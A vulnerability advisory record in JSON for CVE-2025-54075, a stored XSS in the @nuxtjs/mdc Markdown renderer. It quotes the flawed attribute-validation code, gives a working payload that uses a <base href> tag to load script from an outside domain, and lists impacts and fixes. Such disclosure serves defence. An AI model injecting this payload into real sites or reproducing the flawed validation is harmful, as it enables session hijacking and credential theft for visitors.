{"id":"CVE-2025-54075","aliases":["GHSA-cj6r-rrr9-fg82"],"url":"https://o3.security/vulnerability/CVE-2025-54075","summary":"mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)","details":"### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href=\"https://attacker.tld\">` element.  \nThe `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) => {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on <base> not checked\n}\n```\n\nAs soon as `<base href=\"https://vozec.fr\">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n<base href=\"https://vozec.fr\">\n<script src=\"/xss.js\"></script>\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.","published":"2025-07-18T15:47:38.236Z","modified":"2026-08-12T03:51:37.738551849Z","cvss":{"score":8.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nuxtjs/mdc","fixedVersion":"0.17.2"}],"fix":{"url":"https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a","label":"nuxt-modules/mdc@3657a5b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54075.json"},{"type":"ADVISORY","url":"https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54075"},{"type":"FIX","url":"https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"},{"type":"PACKAGE","url":"https://github.com/nuxt-modules/mdc"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.738551849Z"}}